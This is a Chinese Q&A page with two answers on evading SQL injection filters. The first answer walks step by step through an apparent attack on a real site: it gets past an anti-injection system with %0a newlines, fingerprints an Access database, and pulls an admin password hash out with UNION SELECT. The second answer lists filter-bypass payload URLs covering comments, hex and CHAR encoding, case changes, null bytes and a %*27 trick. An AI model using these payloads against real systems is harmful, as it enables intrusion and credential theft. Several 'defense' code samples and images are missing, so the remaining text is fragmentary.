发布网友 发布时间:2022-05-02 02:29
共2个回答
懂视网 时间:2022-05-02 06:50
简单判断是否存在注入
发现有防注入系统,在网站地址后加入“-0”和“/”进行测试
明显存在SQL注入。
post提交无法绕过
在Post data中输入and 1=1 和and 1=2,勾选“Enable Post data”,单击“Execute”进行测试,如图所示,结果无任何变化,说明直接post提交无法绕过。
使用%09(也就是tab键)可以绕过,经过测试还是不行,如图所示,用%0a(换行符)替换下空格成功绕过
通过and (select count(*) from sysobjects)>0和and (select count(*) from msysobjects)>0的出错信息来判断网站采用的数据库类型。若数据库是SQL-SERVE,则第一条,网页一定运行正常,第二条则异常;若是ACCESS则两条都会异常。在POST中通过依次提交:
and%0a(select%0acount(*)%0afrom%0asysobjects)>0
and%0a(select%0acount(*)%0afrom%0amsysobjects)>0
其结果显示“目前还没有内容!”实际内容应该是id=1158的内容,两条语句执行的结果均为异常,说明为access数据库。
通过order by判断列名
判断是否存在admin表
and (select count(*) from admin)>0
and%0a(select%0acount(*)%0afrom%0aadmin)>0
判断是否存在user以及pass字段
and %0a (select%0acount(user) %0afrom%0aadmin)>0
and%0a (select%0acount(pass) %0afrom%0aadmin)>0
获取管理员密码
id=1158%0aUNION%0aSelect%0a1,2,3,4,user,pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%0afrom%0aadmin,获取admin-dh用户的密码“5ed9ff1d48e059b50db232f497b35b45”
id=1158%0aUNION%0aSelect%0a1,2,3,4,user,pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%0afrom%0aadmin%0awhere%0aid=1,获取id为1的用户密码
登录后台
SQL绕过实例
标签:post data count 实例 http dmi logs and 库类 依次
热心网友 时间:2022-05-02 03:58
《Web安全之SQL注入攻击技巧与防范》:
http://www.plhwin.com/2014/06/13/web-security-sql/
二、 几种绕过姿势
下面列举几个防御与绕过的例子:
例子1:addslashes
防御:
这里用了addslashes转义。
绕过:
将字符串转为16进制编码数据或使用char函数(十进制)进行转化(因为数据库会自动把16进制转化)
用注释符去掉输入密码部分如“-- /* #”
payload:
http://localhost/injection/user.php?username=admin-- hack(因为有的SQL要求--后要有空格,所以此处加上了hack)
http://localhost/injection/user.php?username=admin/*(escape不转义/*)
http://localhost/injection/user.php?username=admin%23(这里的%23即为#,注释掉后面的密码部分。注意IE浏览器会将#转换为空)
http://localhost/injection/user.php?username=0x61646d696e23(admin# -->0x61646d696e23)
http://localhost/injection/user.php?username=CHAR(97,100, 109, 105, 110, 35)(admin# -->CHAR(97, 100, 109, 105, 110, 35))
关于编码原理:
因为一般前端JavaScript都会escape()、encodeURL或encodeURIComponent编码再传输给服务器,主要为encodeURL,如下,所以可以利用这点。
JavaScript代码如:
拦截请求:
1)escape( )
对ASCII字母、数字、标点符号"@* _ + - . /"不进行编码。在\u0000到\u00ff之间的符号被转成%xx的形式,其余符号被转成%uxxxx的形式。(注意escape()不对"+"编码,而平时表单中的空格会变成+)
2) encodeURL
对" ; / ? : @ & = + $ , # ' "不进行编码。编码后,它输出符号的utf-8形式,并且在每个字节前加上%。
3) encodeURIComponent
用于对URL的组成部分进行个别编码,而不用于对整个URL进行编码。
常用编码:
@ * _ + - ./ ; \ ? : @ & = + $ , # ' 空格转码工具可用:
http://evilcos.me/lab/xssor/
参考:
《URL编码》:
http://www.ruanyifeng.com/blog/2010/02/url_encoding.html
例子2:匹配过滤
防御:
绕过:
关键词and,or常被用做简单测试网站是否容易进行注入攻击。这里给出简单的绕过使用&&,||分别替换and,or。
过滤注入: 1 or 1 = 1 1 and 1 = 1
绕过注入: 1 || 1 = 1 1 && 1 = 1
关于preg_match过滤可以看参考文章,文章里讲得很详细了。
参考:
《高级SQL注入:混淆和绕过》:
http://www.cnblogs.com/croot/p/3450262.html
例子3:strstr
防御:
strstr ()查找字符串的首次出现,该函数区分大小写。如果想要不区分大小写,使用stristr()。(注意后面这个函数多了个i)
绕过:
strstr()函数是对大小写敏感的,所以我们可以通过大小写变种来绕过
payload:
http://localhost/injection/user.php?id=1uNion select null,null,null例子4:空格过滤
防御:
绕过:
1)使用内联注释。
2)使用换行符代替空格。注意服务器若为Windows则换行符为%0A%0D,Linux则为%0A。
http://localhost/injection/user.php?id=1/**/and/**/11=1 http://localhost/injection/user.php?id=1%0A%0Dand%0A%0D1=1例子5:空字节
通常的输入过滤器都是在应用程序之外的代码实现的。比如入侵检测系统(IDS),这些系统一般是由原生编程语言开发而成,比如C++,为什么空字节能起作用呢,就是因为在原生变成语言中,根据字符串起始位置到第一个出现空字节的位置来确定字符串长度。所以说空字节就有效的终止了字符串。
绕过:
只需要在过滤器阻止的字符串前面提供一个采用URL编码的空字节即可。
payload:
例子6:构造故意过滤
防御:
绕过:
文件的63行开始可以看到,此处将传入的%27和%2527都进行删除处理,也就是还没传入数据库前就已经被该死的程序吃了,但是在67行看到他还吃了*,这样我们就有办法了,我们构造%*27,这样程序吃掉星号*后,%27就会被传入。
payload:
http://localhost/injection/user.php?id%3D1%*27%*20and%*20%*271%*27%3D%*271(id=1' and '1'='1-->id%3D1%*27%*20and%*20%*271%*27%3D%*271)
参考:
《phpcms_v9.6.0_sql注入与exp》:
https://zhuanlan.hu.com/p/26263513